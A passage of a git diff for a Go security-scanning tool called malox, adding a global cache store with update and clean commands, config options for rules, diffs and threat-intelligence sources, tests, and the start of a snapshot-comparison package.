or, with explicit force, all cache records. +func (s GlobalStore) Clean(ctx context.Context, opts CleanOptions) (CommandReport, error) { + if err := s.Ensure(ctx); err != nil { + return CommandReport{}, err + } + if opts.All && !opts.Force { + return CommandReport{}, ErrCleanAllRequiresForce + } + if !opts.All && !opts.Expired { + opts.Expired = true + } + + now := opts.Now + if now.IsZero() { + now = s.clock() + } + + report := CommandReport{ + SchemaVersion: CacheReportSchemaVersion, + Operation: "clean", + Sources: []SourceChange{}, + Warnings: []string{}, + } + if opts.All { + removed, err := dirSize(s.dir) + if err != nil { + return CommandReport{}, err + } + if err := os.RemoveAll(s.dir); err != nil { + return CommandReport{}, fmt.Errorf("remove cache dir: %w", err) + } + if err := s.Ensure(ctx); err != nil { + return CommandReport{}, err + } + report.Sources = append(report.Sources, SourceChange{ + Source: "all", + RecordsChanged: 1, + BytesRemoved: removed, + }) + return report, nil + } + + change, warnings, err := s.cleanExpired(ctx, now) + if err != nil { + return CommandReport{}, err + } + report.Sources = append(report.Sources, change...) + report.Warnings = append(report.Warnings, warnings...) + return report, nil +} + +// ReadSourceMetadata reads and validates a source metadata file. +func ReadSourceMetadata(path string) (SourceMetadata, error) { + data, err := os.ReadFile(path) + if err != nil { + return SourceMetadata{}, err + } + var metadata SourceMetadata + if err := json.Unmarshal(data, &metadata); err != nil { + return SourceMetadata{}, fmt.Errorf("parse source metadata: %w", err) + } + if err := ValidateSourceMetadata(metadata); err != nil { + return SourceMetadata{}, err + } + return metadata, nil +} + +// ValidateSourceMetadata checks the source metadata schema. +func ValidateSourceMetadata(metadata SourceMetadata) error { + problems := []string{} + if metadata.SchemaVersion != SourceMetadataSchemaVersion { + problems = append(problems, "schema_version is invalid") + } + if strings.TrimSpace(metadata.Source) == "" { + problems = append(problems, "source is required") + } + if metadata.FetchedAt.IsZero() { + problems = append(problems, "fetched_at is required") + } + if strings.TrimSpace(metadata.License) == "" { + problems = append(problems, "license is required") + } + if strings.TrimSpace(metadata.SourceType) == "" { + problems = append(problems, "source_type is required") + } + if _, err := time.ParseDuration(metadata.TTL); err != nil { + problems = append(problems, "ttl is invalid") + } + if len(problems) > 0 { + return fmt.Errorf("%w: %s", ErrSourceMetadataInvalid, strings.Join(problems, "; ")) + } + return nil +} + +func (s GlobalStore) updateBuiltinRules(ctx context.Context, now time.Time) (SourceChange, SourceMetadata, error) { + docs, err := rules.BuiltinDocuments() + if err != nil { + return SourceChange{}, SourceMetadata{}, err + } + + var recordsChanged int + var bytesWritten int64 + for _, doc := range docs { + if err := ctx.Err(); err != nil { + return SourceChange{}, SourceMetadata{}, fmt.Errorf("update builtin rules: %w", err) + } + sum := sha256.Sum256(doc.Data) + name := hex.EncodeToString(sum[:]) + ".json" + path := filepath.Join(s.dir, "rules", "builtin", name) + if _, err := os.Stat(path); err == nil { + continue + } else if !errors.Is(err, os.ErrNotExist) { + return SourceChange{}, SourceMetadata{}, fmt.Errorf("stat builtin rule %q: %w", doc.Name, err) + } + if err := writeFileAtomic(ctx, path, append(slices.Clone(doc.Data), '\n'), 0o644); err != nil { + return SourceChange{}, SourceMetadata{}, fmt.Errorf("write builtin rule %q: %w", doc.Name, err) + } + recordsChanged++ + bytesWritten += int64(len(doc.Data) + 1) + } + + cfg := sourceConfigByName("builtin-rules") + metadata := SourceMetadata{ + SchemaVersion: SourceMetadataSchemaVersion, + Source: "builtin-rules", + FetchedAt: now, + ETag: "", + LastModified: "", + License: cfg.license, + SourceType: cfg.sourceType, + TTL: cfg.ttl.String(), + RecordCount: len(docs), + } + data, err := marshalJSON(metadata) + if err != nil { + return SourceChange{}, SourceMetadata{}, err + } + if err := writeFileAtomic(ctx, filepath.Join(s.dir, "rules", "builtin", "metadata.json"), data, 0o644); err != nil { + return SourceChange{}, SourceMetadata{}, fmt.Errorf("write builtin metadata: %w", err) + } + bytesWritten += int64(len(data)) + if recordsChanged == 0 { + recordsChanged = 1 + } + + return SourceChange{ + Source: "builtin-rules", + RecordsChanged: recordsChanged, + BytesWritten: bytesWritten, + }, metadata, nil +} + +func (s GlobalStore) cleanExpired(ctx context.Context, now time.Time) ([]SourceChange, []string, error) { + changes := []SourceChange{} + warnings := []string{} + metadataPaths := []string{} + err := filepath.WalkDir(s.dir, func(path string, entry fs.DirEntry, err error) error { + if err != nil { + return err + } + if ctxErr := ctx.Err(); ctxErr != nil { + return ctxErr + } + if entry.IsDir() || entry.Name() != "metadata.json" { + return nil + } + metadataPaths = append(metadataPaths, path) + return nil + }) + if err != nil { + return nil, nil, fmt.Errorf("find cache metadata: %w", err) + } + + for _, path := range metadataPaths { + metadata, err := ReadSourceMetadata(path) + if err != nil { + warnings = append(warnings, fmt.Sprintf("skip invalid metadata %q: %v", filepath.ToSlash(path), err)) + continue + } + ttl, err := time.ParseDuration(metadata.TTL) + if err != nil { + warnings = append(warnings, fmt.Sprintf("skip invalid ttl for %s: %v", metadata.Source, err)) + continue + } + if !now.After(metadata.FetchedAt.Add(ttl)) { + continue + } + + sourceDir := filepath.Dir(path) + removed, err := dirSize(sourceDir) + if err != nil { + return nil, nil, fmt.Errorf("measure expired source %q: %w", metadata.Source, err) + } + if err := os.RemoveAll(sourceDir); err != nil { + return nil, nil, fmt.Errorf("remove expired source %q: %w", metadata.Source, err) + } + changes = append(changes, SourceChange{ + Source: metadata.Source, + RecordsChanged: max(1, metadata.RecordCount), + BytesRemoved: removed, + }) + } + if err := s.Ensure(ctx); err != nil { + return nil, nil, err + } + if len(changes) == 0 { + changes = append(changes, SourceChange{Source: "expired", RecordsChanged: 0}) + } + return changes, warnings, nil +} + +func (s GlobalStore) writeIndex(ctx context.Context, index GlobalIndex) error { + data, err := marshalJSON(index) + if err != nil { + return err + } + if err := writeFileAtomic(ctx, filepath.Join(s.dir, "index-v1.json"), data, 0o644); err != nil { + return fmt.Errorf("write cache index: %w", err) + } + return nil +} + +func (s GlobalStore) layoutDirs() []string { + dirs := []string{ + s.dir, + filepath.Join(s.dir, "sources"), + filepath.Join(s.dir, "rules", "builtin"), + filepath.Join(s.dir, "rules", "downloaded"), + filepath.Join(s.dir, "decoded-payloads", "sha256"), + } + for _, cfg := range globalSourceConfigs { + if cfg.name == "builtin-rules" { + continue + } + sourceDir := filepath.Join(s.dir, "sources", cfg.name) + dirs = append(dirs, sourceDir) + for _, subdir := range cfg.dirs { + dirs = append(dirs, filepath.Join(sourceDir, subdir)) + } + } + return dirs +} + +func (s GlobalStore) clock() time.Time { + if s.now == nil { + return time.Now().UTC() + } + return s.now().UTC() +} + +func ttlStrings() map[string]string { + out := map[string]string{} + for _, cfg := range globalSourceConfigs { + out[cfg.sourceType] = cfg.ttl.String() + } + return out +} + +func sourceConfigByName(name string) sourceConfig { + for _, cfg := range globalSourceConfigs { + if cfg.name == name { + return cfg + } + } + return sourceConfig{ + name: name, + sourceType: "unknown", + ttl: 24 * time.Hour, + license: "unknown", + } +} + +func marshalJSON(v any) ([]byte, error) { + data, err := json.MarshalIndent(v, "", " ") + if err != nil { + return nil, fmt.Errorf("marshal cache json: %w", err) + } + return append(data, '\n'), nil +} + +func dirSize(root string) (int64, error) { + var total int64 + err := filepath.WalkDir(root, func(path string, entry fs.DirEntry, err error) error { + if err != nil { + return err + } + if entry.IsDir() { + return nil + } + info, err := entry.Info() + if err != nil { + return err + } + total += info.Size() + return nil + }) + return total, err +} diff --git a/internal/cache/global_test.go b/internal/cache/global_test.go new file mode 100644 index 0000000..84705f8 --- /dev/null +++ b/internal/cache/global_test.go @@ -0,0 +1,199 @@ +package cache + +import ( + "encoding/json" + "errors" + "os" + "path/filepath" + "strings" + "testing" + "time" +) + +func TestGlobalStoreEnsureCreatesLayout(t *testing.T) { + store, err := NewGlobalStore(t.TempDir()) + if err != nil { + t.Fatalf("NewGlobalStore() error = %v", err) + } + + if err := store.Ensure(t.Context()); err != nil { + t.Fatalf("Ensure() error = %v", err) + } + + for _, path := range []string{ + "index-v1.json", + "sources/osv/querybatch", + "sources/npm/packuments", + "rules/builtin", + "rules/downloaded", + "decoded-payloads/sha256", + } { + fullPath := filepath.Join(store.Dir(), filepath.FromSlash(path)) + if _, err := os.Stat(fullPath); err != nil { + t.Fatalf("expected cache layout path %q: %v", path, err) + } + } +} + +func TestGlobalStoreUpdateWritesBuiltinRulesAndMetadata(t *testing.T) { + store, err := NewGlobalStore(t.TempDir()) + if err != nil { + t.Fatalf("NewGlobalStore() error = %v", err) + } + now := time.Date(2026, 6, 18, 12, 0, 0, 0, time.UTC) + + report, err := store.Update(t.Context(), UpdateOptions{Now: now}) + if err != nil { + t.Fatalf("Update() error = %v", err) + } + if report.SchemaVersion != CacheReportSchemaVersion || report.Operation != "update" { + t.Fatalf("report = %#v, want update report", report) + } + if len(report.Sources) != 1 || report.Sources[0].Source != "builtin-rules" { + t.Fatalf("sources = %#v, want builtin-rules", report.Sources) + } + + entries, err := os.ReadDir(filepath.Join(store.Dir(), "rules", "builtin")) + if err != nil { + t.Fatalf("ReadDir(builtin) error = %v", err) + } + var jsonDocs int + for _, entry := range entries { + if strings.HasSuffix(entry.Name(), ".json") && entry.Name() != "metadata.json" { + jsonDocs++ + } + } + if jsonDocs == 0 { + t.Fatal("expected content-addressed builtin rule documents") + } + + metadata, err := ReadSourceMetadata(filepath.Join(store.Dir(), "rules", "builtin", "metadata.json")) + if err != nil { + t.Fatalf("ReadSourceMetadata() error = %v", err) + } + if metadata.Source != "builtin-rules" || metadata.FetchedAt != now || metadata.RecordCount == 0 { + t.Fatalf("metadata = %#v, want builtin metadata", metadata) + } + + indexData, err := os.ReadFile(filepath.Join(store.Dir(), "index-v1.json")) + if err != nil { + t.Fatalf("ReadFile(index) error = %v", err) + } + var index GlobalIndex + if err := json.Unmarshal(indexData, &index); err != nil { + t.Fatalf("index is not JSON: %v", err) + } + if index.SchemaVersion != GlobalIndexSchemaVersion || len(index.Sources) != 1 { + t.Fatalf("index = %#v, want one source", index) + } +} + +func TestGlobalStoreUpdateOfflineReportsSkippedRemoteSources(t *testing.T) { + store, err := NewGlobalStore(t.TempDir()) + if err != nil { + t.Fatalf("NewGlobalStore() error = %v", err) + } + + report, err := store.Update(t.Context(), UpdateOptions{Offline: true}) + if err != nil { + t.Fatalf("Update() error = %v", err) + } + if !report.Offline { + t.Fatal("report.Offline = false, want true") + } + if len(report.Warnings) != 1 || !strings.Contains(report.Warnings[0], "remote source updates skipped") { + t.Fatalf("warnings = %#v, want offline warning", report.Warnings) + } +} + +func TestGlobalStoreCleanAllRequiresForce(t *testing.T) { + store, err := NewGlobalStore(t.TempDir()) + if err != nil { + t.Fatalf("NewGlobalStore() error = %v", err) + } + + _, err = store.Clean(t.Context(), CleanOptions{All: true}) + if !errors.Is(err, ErrCleanAllRequiresForce) { + t.Fatalf("Clean() error = %v, want ErrCleanAllRequiresForce", err) + } +} + +func TestGlobalStoreCleanExpiredRemovesOnlyExpiredMetadataDir(t *testing.T) { + store, err := NewGlobalStore(t.TempDir()) + if err != nil { + t.Fatalf("NewGlobalStore() error = %v", err) + } + now := time.Date(2026, 6, 18, 12, 0, 0, 0, time.UTC) + if _, err := store.Update(t.Context(), UpdateOptions{Now: now}); err != nil { + t.Fatalf("Update() error = %v", err) + } + + expiredDir := filepath.Join(store.Dir(), "sources", "osv") + expiredMetadata := SourceMetadata{ + SchemaVersion: SourceMetadataSchemaVersion, + Source: "osv", + FetchedAt: now.Add(-48 * time.Hour), + ETag: "", + LastModified: "", + License: "test license", + SourceType: "vulnerability", + TTL: (24 * time.Hour).String(), + RecordCount: 2, + } + data, err := marshalJSON(expiredMetadata) + if err != nil { + t.Fatalf("marshalJSON() error = %v", err) + } + if err := writeFileAtomic(t.Context(), filepath.Join(expiredDir, "metadata.json"), data, 0o644); err != nil { + t.Fatalf("write expired metadata: %v", err) + } + if err := writeFileAtomic(t.Context(), filepath.Join(expiredDir, "vulns", "record.json"), []byte("{}\n"), 0o644); err != nil { + t.Fatalf("write expired record: %v", err) + } + + report, err := store.Clean(t.Context(), CleanOptions{Expired: true, Now: now}) + if err != nil { + t.Fatalf("Clean() error = %v", err) + } + if len(report.Sources) != 1 || report.Sources[0].Source != "osv" || report.Sources[0].BytesRemoved == 0 { + t.Fatalf("sources = %#v, want expired osv removal", report.Sources) + } + if _, err := os.Stat(filepath.Join(expiredDir, "metadata.json")); !errors.Is(err, os.ErrNotExist) { + t.Fatalf("expired metadata still exists: %v", err) + } + if _, err := os.Stat(filepath.Join(store.Dir(), "rules", "builtin", "metadata.json")); err != nil { + t.Fatalf("fresh builtin metadata was removed: %v", err) + } +} + +func TestGlobalCacheUpdateDoesNotStoreProjectAbsolutePath(t *testing.T) { + cacheDir := t.TempDir() + projectDir := t.TempDir() + store, err := NewGlobalStore(cacheDir) + if err != nil { + t.Fatalf("NewGlobalStore() error = %v", err) + } + if _, err := store.Update(t.Context(), UpdateOptions{}); err != nil { + t.Fatalf("Update() error = %v", err) + } + + err = filepath.WalkDir(cacheDir, func(path string, entry os.DirEntry, err error) error { + if err != nil { + return err + } + if entry.IsDir() { + return nil + } + data, err := os.ReadFile(path) + if err != nil { + return err + } + if strings.Contains(string(data), projectDir) { + t.Fatalf("global cache file %q leaked project path %q", path, projectDir) + } + return nil + }) + if err != nil { + t.Fatalf("WalkDir() error = %v", err) + } +} diff --git a/internal/config/config.go b/internal/config/config.go index c28bb7d..23fa39a 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -9,6 +9,7 @@ import ( "os" "path/filepath" "runtime" + "slices" "strings" "malox/internal/platform" @@ -16,6 +17,8 @@ import ( ) const defaultMaxFileSize = 10 * 1024 * 1024 +const defaultRetainScans = 10 +const stateDirEnv = "MALOX_PROJECT_STATE_DIR" // Values contains all typed configuration needed by the app boundary. type Values struct { @@ -27,6 +30,10 @@ type Values struct { Quiet bool Verbose bool Scan Scan + Diff Diff + Cache Cache + Rules Rules + Threat Threat } // Scan contains configuration for the scan command. @@ -36,6 +43,51 @@ type Scan struct { StrictHash bool MaxWorkers int MaxFileSize int64 + RetainScans int +} + +// Diff contains configuration for the diff command. +type Diff struct { + From string + To string + Output report.Format +} + +// Cache contains configuration for cache management commands. +type Cache struct { + Output report.Format + Source string + Clean CacheClean +} + +// Threat contains configured threat-intelligence source settings. +type Threat struct { + Sources []string + RequiredSources []string + OSVURL string + NPMRegistryURL string +} + +// CacheClean contains configuration for malox cache clean. +type CacheClean struct { + Expired bool + All bool + Force bool +} + +// Rules contains local policy configuration. +type Rules struct { + PolicyFiles []string + UseBuiltins bool + Test RulesTest +} + +// RulesTest contains configuration for malox rules test. +type RulesTest struct { + RuleFile string + Fixture string + Output report.Format + ExpectedFindings *int } // FlagValues contains optional values parsed from CLI flags. @@ -48,6 +100,9 @@ type FlagValues struct { Quiet *bool Verbose *bool Scan ScanFlags + Diff DiffFlags + Cache CacheFlags + Rules RulesFlags } // ScanFlags contains optional scan values parsed from CLI flags. @@ -58,6 +113,43 @@ type ScanFlags struct { StrictHash *bool MaxWorkers *int MaxFileSize *int64 + RetainScans *int +} + +// DiffFlags contains optional diff values parsed from CLI flags. +type DiffFlags struct { + From *string + To *string + JSON *bool +} + +// CacheFlags contains optional cache values parsed from CLI flags. +type CacheFlags struct { + JSON *bool + Source *string + Clean CacheCleanFlags +} + +// CacheCleanFlags contains optional cache clean values parsed from CLI flags. +type CacheCleanFlags struct { + Expired *bool + All *bool + Force *bool +} + +// RulesFlags contains optional rules values parsed from CLI flags. +type RulesFlags struct { + PolicyFiles []string + UseBuiltins *bool + Test RulesTestFlags +} + +// RulesTestFlags contains optional rules test values parsed from CLI flags. +type RulesTestFlags struct { + RuleFile *string + Fixture *string + JSON *bool + ExpectedFindings *int } // LoadOptions describes how Load should resolve configuration. @@ -102,6 +194,22 @@ func Load(ctx context.Context, opts LoadOptions) (Values, error) { Output: report.FormatTable, MaxWorkers: max(1, runtime.GOMAXPROCS(0)), MaxFileSize: defaultMaxFileSize, + RetainScans: defaultRetainScans, + }, + Diff: Diff{ + Output: report.FormatTable, + }, + Cache: Cache{ + Output: report.FormatTable, + }, + Rules: Rules{ + UseBuiltins: true, + Test: RulesTest{ + Output: report.FormatTable, + }, + }, + Threat: Threat{ + Sources: []string{"local-policy"}, }, } @@ -128,6 +236,7 @@ func Load(ctx context.Context, opts LoadOptions) (Values, error) { problems = append(problems, applyFile(workDir, &values, fileValues)...) } + problems = append(problems, applyEnv(workDir, &values)...) problems = append(problems, applyFlags(workDir, &values, opts.Flags, &outputExplicit, &jsonRequested)...) if jsonRequested && outputExplicit && values.Scan.Output != report.FormatJSON { problems = append(problems, "--json cannot be combined with --output "+values.Scan.Output.String()) @@ -217,6 +326,9 @@ func applyFlags( if flags.Scan.MaxFileSize != nil { values.Scan.MaxFileSize = *flags.Scan.MaxFileSize } + if flags.Scan.RetainScans != nil { + values.Scan.RetainScans = *flags.Scan.RetainScans + } if flags.Scan.Output != nil { *outputExplicit = true format, err := report.ParseFormat(*flags.Scan.Output) @@ -229,10 +341,65 @@ func applyFlags( if flags.Scan.JSON != nil && *flags.Scan.JSON { *jsonRequested = true } + if flags.Diff.From != nil { + values.Diff.From = *flags.Diff.From + } + if flags.Diff.To != nil { + values.Diff.To = *flags.Diff.To + } + if flags.Diff.JSON != nil && *flags.Diff.JSON { + values.Diff.Output = report.FormatJSON + } + if flags.Cache.JSON != nil && *flags.Cache.JSON { + values.Cache.Output = report.FormatJSON + } + if flags.Cache.Source != nil { + values.Cache.Source = strings.TrimSpace(*flags.Cache.Source) + } + if flags.Cache.Clean.Expired != nil { + values.Cache.Clean.Expired = *flags.Cache.Clean.Expired + } + if flags.Cache.Clean.All != nil { + values.Cache.Clean.All = *flags.Cache.Clean.All + } + if flags.Cache.Clean.Force != nil { + values.Cache.Clean.Force = *flags.Cache.Clean.Force + } + for _, path := range flags.Rules.PolicyFiles { + applyPolicyPath(workDir, path, &values.Rules.PolicyFiles, &problems) + } + if flags.Rules.UseBuiltins != nil { + values.Rules.UseBuiltins = *flags.Rules.UseBuiltins + } + applyPath("--rules-test-file", flags.Rules.Test.RuleFile, &values.Rules.Test.RuleFile) + applyPath("--fixture", flags.Rules.Test.Fixture, &values.Rules.Test.Fixture) + if flags.Rules.Test.JSON != nil && *flags.Rules.Test.JSON { + values.Rules.Test.Output = report.FormatJSON + } + if flags.Rules.Test.ExpectedFindings != nil { + values.Rules.Test.ExpectedFindings = flags.Rules.Test.ExpectedFindings + } return problems } +func applyEnv(workDir string, values *Values) []string { + raw, ok := os.LookupEnv(stateDirEnv) + if !ok { + return nil + } + if strings.TrimSpace(raw) == "" { + values.StateDir = "" + return []string{stateDirEnv + " is required"} + } + resolved, err := platform.ResolvePath(workDir, raw) + if err != nil { + return []string{fmt.Sprintf("resolve %s: %v", stateDirEnv, err)} + } + values.StateDir = resolved + return nil +} + func (v Values) validationProblems() []string { problems := []string{} if strings.TrimSpace(v.ConfigPath) == "" && v.ConfigPath != "" { @@ -248,6 +415,10 @@ func (v Values) validationProblems() []string { problems = append(problems, "--quiet and --verbose cannot both be set") } problems = append(problems, v.Scan.validationProblems()...) + problems = append(problems, v.Diff.validationProblems()...) + problems = append(problems, v.Cache.validationProblems()...) + problems = append(problems, v.Rules.validationProblems()...) + problems = append(problems, v.Threat.validationProblems()...) return problems } @@ -269,17 +440,52 @@ func (s Scan) validationProblems() []string { if s.MaxFileSize < 1 { problems = append(problems, "max file size must be greater than 0") } + if s.RetainScans < 2 { + problems = append(problems, "retained scans must be at least 2") + } + return problems +} + +func (d Diff) validationProblems() []string { + problems := []string{} + if (d.From == "") != (d.To == "") { + problems = append(problems, "--from and --to must be provided together") + } + if !d.Output.Valid() { + problems = append(problems, "diff output must be one of table, json, or plain") + } + return problems +} + +func (c Cache) validationProblems() []string { + problems := []string{} + if !c.Output.Valid() { + problems = append(problems, "cache output must be one of table, json, or plain") + } + if c.Clean.Expired && c.Clean.All { + problems = append(problems, "--expired and --all cannot both be set") + } + return problems +} + +func (r Rules) validationProblems() []string { + problems := []string{} + if !r.Test.Output.Valid() { + problems = append(problems, "rules test output must be one of table, json, or plain") + } return problems } type fileConfig struct { - StateDir *string `json:"state_dir"` - CacheDir *string `json:"cache_dir"` - Offline *bool `json:"offline"` - NoColor *bool `json:"no_color"` - Quiet *bool `json:"quiet"` - Verbose *bool `json:"verbose"` - Scan *fileScanConfig `json:"scan"` + StateDir *string `json:"state_dir"` + CacheDir *string `json:"cache_dir"` + Offline *bool `json:"offline"` + NoColor *bool `json:"no_color"` + Quiet *bool `json:"quiet"` + Verbose *bool `json:"verbose"` + Scan *fileScanConfig `json:"scan"` + Rules *fileRulesConfig `json:"rules"` + Threat *fileThreatConfig `json:"threat"` } type fileScanConfig struct { @@ -289,6 +495,19 @@ type fileScanConfig struct { StrictHash *bool `json:"strict_hash"` MaxWorkers *int `json:"max_workers"` MaxFileSize *int64 `json:"max_file_size"` + RetainScans *int `json:"retain_scans"` +} + +type fileRulesConfig struct { + PolicyFiles []string `json:"policy_files"` + UseBuiltins *bool `json:"use_builtins"` +} + +type fileThreatConfig struct { + Sources []string `json:"sources"` + RequiredSources []string `json:"required_sources"` + OSVURL *string `json:"osv_url"` + NPMRegistryURL *string `json:"npm_registry_url"` } func readFile(path string) (fileConfig, error) { @@ -351,7 +570,8 @@ func applyFile(workDir string, values *Values, cfg fileConfig) []string { values.Verbose = *cfg.Verbose } if cfg.Scan == nil { - return problems + problems = applyFileRules(workDir, values, cfg.Rules, problems) + return applyFileThreat(values, cfg.Threat, problems) } applyPath("scan.root", cfg.Scan.Root, &values.Scan.Root) @@ -364,6 +584,9 @@ func applyFile(workDir string, values *Values, cfg fileConfig) []string { if cfg.Scan.MaxFileSize != nil { values.Scan.MaxFileSize = *cfg.Scan.MaxFileSize } + if cfg.Scan.RetainScans != nil { + values.Scan.RetainScans = *cfg.Scan.RetainScans + } if cfg.Scan.Output != nil { format, err := report.ParseFormat(*cfg.Scan.Output) if err != nil { @@ -379,5 +602,73 @@ func applyFile(workDir string, values *Values, cfg fileConfig) []string { values.Scan.Output = report.FormatJSON } + problems = applyFileRules(workDir, values, cfg.Rules, problems) + return applyFileThreat(values, cfg.Threat, problems) +} + +func applyFileRules(workDir string, values *Values, cfg *fileRulesConfig, problems []string) []string { + if cfg == nil { + return problems + } + for _, path := range cfg.PolicyFiles { + applyPolicyPath(workDir, path, &values.Rules.PolicyFiles, &problems) + } + if cfg.UseBuiltins != nil { + values.Rules.UseBuiltins = *cfg.UseBuiltins + } return problems } + +func applyPolicyPath(workDir, input string, target *[]string, problems *[]string) { + if strings.TrimSpace(input) == "" { + *problems = append(*problems, "policy file path is required") + return + } + resolved, err := platform.ResolvePath(workDir, input) + if err != nil { + *problems = append(*problems, fmt.Sprintf("resolve policy file: %v", err)) + return + } + *target = append(*target, resolved) +} + +func applyFileThreat(values *Values, cfg *fileThreatConfig, problems []string) []string { + if cfg == nil { + return problems + } + if cfg.Sources != nil { + values.Threat.Sources = cleanSourceList(cfg.Sources) + } + if cfg.RequiredSources != nil { + values.Threat.RequiredSources = cleanSourceList(cfg.RequiredSources) + } + if cfg.OSVURL != nil { + values.Threat.OSVURL = strings.TrimSpace(*cfg.OSVURL) + } + if cfg.NPMRegistryURL != nil { + values.Threat.NPMRegistryURL = strings.TrimSpace(*cfg.NPMRegistryURL) + } + return problems +} + +func (t Threat) validationProblems() []string { + problems := []string{} + for _, source := range append(slices.Clone(t.Sources), t.RequiredSources...) { + if strings.TrimSpace(source) == "" { + problems = append(problems, "threat source name is required") + } + } + return problems +} + +func cleanSourceList(values []string) []string { + out := make([]string, 0, len(values)) + for _, value := range values { + value = strings.TrimSpace(value) + if value == "" { + continue + } + out = append(out, value) + } + return out +} diff --git a/internal/config/config_test.go b/internal/config/config_test.go index f2ca5f8..3ece9b7 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -30,6 +30,7 @@ func TestLoadAppliesFlagsAndDefaults(t *testing.T) { StrictHash: ptr(true), MaxWorkers: ptr(4), MaxFileSize: ptr[int64](2048), + RetainScans: ptr(7), }, }, }) @@ -60,6 +61,39 @@ func TestLoadAppliesFlagsAndDefaults(t *testing.T) { if values.Scan.MaxFileSize != 2048 { t.Fatalf("Scan.MaxFileSize = %d, want 2048", values.Scan.MaxFileSize) } + if values.Scan.RetainScans != 7 { + t.Fatalf("Scan.RetainScans = %d, want 7", values.Scan.RetainScans) + } +} + +func TestLoadStateDirEnvironmentAndFlagPrecedence(t *testing.T) { + workDir := t.TempDir() + envState := filepath.Join(workDir, "env-state") + flagState := filepath.Join(workDir, "flag-state") + t.Setenv(stateDirEnv, envState) + + values, err := Load(t.Context(), LoadOptions{ + WorkDir: workDir, + }) + if err != nil { + t.Fatalf("Load() env error = %v", err) + } + if values.StateDir != envState { + t.Fatalf("StateDir = %q, want env state %q", values.StateDir, envState) + } + + values, err = Load(t.Context(), LoadOptions{ + WorkDir: workDir, + Flags: FlagValues{ + StateDir: ptr(flagState), + }, + }) + if err != nil { + t.Fatalf("Load() flag error = %v", err) + } + if values.StateDir != flagState { + t.Fatalf("StateDir = %q, want flag state %q", values.StateDir, flagState) + } } func TestLoadJSONShortcutDoesNotConflictWithDefaultOutput(t *testing.T) { @@ -128,6 +162,7 @@ func TestLoadReportsAllValidationProblems(t *testing.T) { Root: ptr(missingRoot), MaxWorkers: ptr(0), MaxFileSize: ptr[int64](0), + RetainScans: ptr(1), }, }, }) @@ -146,6 +181,7 @@ func TestLoadReportsAllValidationProblems(t *testing.T) { "scan root", "max workers must be greater than 0", "max file size must be greater than 0", + "retained scans must be at least 2", } { if !strings.Contains(problems, want) { t.Fatalf("validation problems missing %q:\n%s", want, problems) @@ -166,7 +202,8 @@ func TestLoadReadsJSONConfigFile(t *testing.T) { "scan": { "root": "project", "output": "json", - "max_workers": 2 + "max_workers": 2, + "retain_scans": 6 } }` if err := os.WriteFile(configPath, []byte(configBody), 0o644); err != nil { @@ -194,6 +231,43 @@ func TestLoadReadsJSONConfigFile(t *testing.T) { if values.Scan.MaxWorkers != 2 { t.Fatalf("Scan.MaxWorkers = %d, want 2", values.Scan.MaxWorkers) } + if values.Scan.RetainScans != 6 { + t.Fatalf("Scan.RetainScans = %d, want 6", values.Scan.RetainScans) + } +} + +func TestLoadReadsRulesConfig(t *testing.T) { + workDir := t.TempDir() + configPath := filepath.Join(workDir, "malox.json") + configBody := `{ + "rules": { + "policy_files": ["security/malox-policy.json"], + "use_builtins": false + } +}` + if err := os.Mkdir(filepath.Join(workDir, "security"), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(configPath, []byte(configBody), 0o644); err != nil { + t.Fatal(err) + } + + values, err := Load(t.Context(), LoadOptions{ + WorkDir: workDir, + Flags: FlagValues{ + ConfigPath: ptr(configPath), + }, + }) + if err != nil { + t.Fatalf("Load() error = %v", err) + } + wantPolicy := filepath.Join(workDir, "security", "malox-policy.json") + if len(values.Rules.PolicyFiles) != 1 || values.Rules.PolicyFiles[0] != wantPolicy { + t.Fatalf("Rules.PolicyFiles = %#v, want %q", values.Rules.PolicyFiles, wantPolicy) + } + if values.Rules.UseBuiltins { + t.Fatal("Rules.UseBuiltins = true, want false") + } } func ptr[T any](v T) *T { diff --git a/internal/diff/diff.go b/internal/diff/diff.go new file mode 100644 index 0000000..301e8e3 --- /dev/null +++ b/internal/diff/diff.go @@ -0,0 +1,436 @@ +// Package diff compares Malox scan snapshots. +package diff + +import ( + "cmp" + "slices" + + "malox/internal/node" + "malox/internal/rules" + "malox/internal/scan" +) + +// SchemaVersion is the public diff report schema. +const SchemaVersion = "malox.diff.v1" + +// Report describes the file and finding delta between two snapshots. +type Report struct { + SchemaVersion string + FromScanID string + ToScanID string + AddedFiles []FileChange + RemovedFiles []FileChange + ModifiedFiles []FileChange + UnchangedFiles []FileChange + SkippedFiles []FileChange + NewDependencies []DependencyChange + RemovedDependencies []DependencyChange + UpdatedDependencies []DependencyChange + NewPackageScripts []PackageScriptChange + ChangedPackageScripts []PackageScriptChange + NewFindings []FindingChange + ResolvedFindings []FindingChange + StillExistingFindings []FindingChange +} + +// FileChange describes one file's state across two snapshots. +type FileChange struct { + Path string + State scan.FileState + FromStatus scan.Status + ToStatus scan.Status + FromSHA256 string + ToSHA256 string + FromSize int64 + ToSize int64 + PackageOwner string +} + +// FindingChange describes one finding-level state transition. +type FindingChange struct { + ID string + RuleID string + RuleType string + Severity rules.Severity + Confidence rules.Confidence + Source string + Summary string + Path string + PackageName string + PURL string + ScriptName string + Suppressed bool + Blocking bool +} + +// Compare returns a deterministic diff from oldSnapshot to newSnapshot. +func Compare(oldSnapshot, newSnapshot scan.Snapshot) Report { + report := Report{ + SchemaVersion: SchemaVersion, + FromScanID: oldSnapshot.ScanID, + ToScanID: newSnapshot.ScanID, + AddedFiles: []FileChange{}, + RemovedFiles: []FileChange{}, + ModifiedFiles: []FileChange{}, + UnchangedFiles: []FileChange{}, + SkippedFiles: []FileChange{}, + NewDependencies: []DependencyChange{}, + RemovedDependencies: []DependencyChange{}, + UpdatedDependencies: []DependencyChange{}, + NewPackageScripts: []PackageScriptChange{}, + ChangedPackageScripts: []PackageScriptChange{}, + NewFindings: []FindingChange{}, + ResolvedFindings: []FindingChange{}, + StillExistingFindings: []FindingChange{}, + } + + oldFiles := indexFiles(oldSnapshot.Files) + newFiles := indexFiles(newSnapshot.Files) + paths := allPaths(oldFiles, newFiles) + + for _, path := range paths { + oldFile, hadOld := oldFiles[path] + newFile, hasNew := newFiles[path] + + switch { + case !hadOld && hasNew: + change := newFileChange(path, scan.File{}, newFile, scan.FileStateAdded) + if newFile.Status == scan.StatusSkipped { + change.State = scan.FileStateSkipped + report.SkippedFiles = append(report.SkippedFiles, change) + continue + } + report.AddedFiles = 